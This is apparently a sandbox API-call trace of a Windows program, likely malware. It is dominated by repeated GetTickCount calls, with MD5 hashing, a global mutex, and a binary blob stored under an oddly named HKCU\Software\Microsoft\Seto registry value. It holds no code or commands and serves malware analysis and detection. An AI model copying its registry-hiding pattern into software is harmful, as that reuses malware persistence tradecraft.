[0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.655] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] GetTickCount () returned 0x23d1e [0115.656] CryptAcquireContextW (in: phProv=0x25be304, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be304*=0x892840) returned 1 [0115.656] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be300 | out: phHash=0x25be300) returned 1 [0115.656] CryptHashData (hHash=0x85b1a0, pbData=0x8cca58, dwDataLen=0xc64, dwFlags=0x0) returned 1 [0115.656] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8cca48, pdwDataLen=0x25be2fc, dwFlags=0x0 | out: pbData=0x8cca48, pdwDataLen=0x25be2fc) returned 1 [0115.656] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.657] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] GetTickCount () returned 0x23d1e [0115.657] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x25be4bc, lpdwDisposition=0x0 | out: phkResult=0x25be4bc*=0x1ac, lpdwDisposition=0x0) returned 0x0 [0115.657] RegSetValueExW (in: hKey=0x1ac, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x8cca28*, cbData=0xc94 | out: lpData=0x8cca28*) returned 0x0 [0115.657] RegCloseKey (hKey=0x1ac) returned 0x0 [0115.657] ReleaseMutex (hMutex=0x430) returned 1 [0115.657] CloseHandle (hObject=0x430) returned 1 [0115.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13c160, lpParameter=0x8afed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0115.658] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x1ac [0115.658] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0115.658] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x25be48c | out: phkResult=0x25be48c*=0x314) returned 0x0 [0115.658] RegQueryValueExW (in: hKey=0x314, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be758, lpData=0x0, lpcbData=0x25be488*=0x0 | out: lpType=0x25be758*=0x3, lpData=0x0, lpcbData=0x25be488*=0xc94) returned 0x0 [0115.658] RegQueryValueExW (in: hKey=0x314, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be758, lpData=0x8cf6c8, lpcbData=0x25be488*=0xc94 | out: lpType=0x25be758*=0x3, lpData=0x8cf6c8*, lpcbData=0x25be488*=0xc94) returned 0x0 [0115.658] RegCloseKey (hKey=0x314) returned 0x0 [0115.658] CryptAcquireContextW (in: phProv=0x25be308, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be308*=0x892840) returned 1 [0115.659] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be304 | out: phHash=0x25be304) returned 1 [0115.659] CryptHashData (hHash=0x85b1a0, pbData=0x8cf6f8, dwDataLen=0xc64, dwFlags=0x0) returned 1 [0115.659] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x25be330, pdwDataLen=0x25be300, dwFlags=0x0 | out: pbData=0x25be330, pdwDataLen=0x25be300) returned 1 [0115.659] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.659] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.659] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.660] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.661] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] GetTickCount () returned 0x23d1e [0115.662] CryptAcquireContextW (in: phProv=0x25be304, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be304*=0x892840) returned 1 [0115.663] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be300 | out: phHash=0x25be300) returned 1 [0115.663] CryptHashData (hHash=0x85b1a0, pbData=0x8cf6f8, dwDataLen=0xcc3, dwFlags=0x0) returned 1 [0115.663] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8cf6e8, pdwDataLen=0x25be2fc, dwFlags=0x0 | out: pbData=0x8cf6e8, pdwDataLen=0x25be2fc) returned 1 [0115.663] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.663] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.663] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x25be4bc, lpdwDisposition=0x0 | out: phkResult=0x25be4bc*=0x314, lpdwDisposition=0x0) returned 0x0 [0115.663] RegSetValueExW (in: hKey=0x314, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x8cf6c8*, cbData=0xcf3 | out: lpData=0x8cf6c8*) returned 0x0 [0115.663] RegCloseKey (hKey=0x314) returned 0x0 [0115.663] ReleaseMutex (hMutex=0x1ac) returned 1 [0115.663] CloseHandle (hObject=0x1ac) returned 1 [0115.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x25be408, cbMultiByte=4, lpWideCharStr=0x333f42, cchWideChar=10 | out: lpWideCharStr="Seto") returned 4 [0115.663] PathCombineW (in: pszDest=0x333ee0, pszDir="Software\\Microsoft", pszFile="Seto" | out: pszDest="Software\\Microsoft\\Seto") returned="Software\\Microsoft\\Seto" [0115.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x25be412, cbMultiByte=6, lpWideCharStr=0x333f42, cchWideChar=10 | out: lpWideCharStr="Xayqzo") returned 6 [0115.663] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x1ac [0115.663] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0115.663] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x25be14c | out: phkResult=0x25be14c*=0x314) returned 0x0 [0115.663] RegQueryValueExW (in: hKey=0x314, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be418, lpData=0x0, lpcbData=0x25be148*=0x0 | out: lpType=0x25be418*=0x3, lpData=0x0, lpcbData=0x25be148*=0xcf3) returned 0x0 [0115.663] RegQueryValueExW (in: hKey=0x314, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be418, lpData=0x8d0450, lpcbData=0x25be148*=0xcf3 | out: lpType=0x25be418*=0x3, lpData=0x8d0450*, lpcbData=0x25be148*=0xcf3) returned 0x0 [0115.664] RegCloseKey (hKey=0x314) returned 0x0 [0115.664] CryptAcquireContextW (in: phProv=0x25bdfc8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25bdfc8*=0x892840) returned 1 [0115.664] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25bdfc4 | out: phHash=0x25bdfc4) returned 1 [0115.664] CryptHashData (hHash=0x85b1a0, pbData=0x8d0480, dwDataLen=0xcc3, dwFlags=0x0) returned 1 [0115.664] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x25bdff0, pdwDataLen=0x25bdfc0, dwFlags=0x0 | out: pbData=0x25bdff0, pdwDataLen=0x25bdfc0) returned 1 [0115.664] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.664] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.664] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 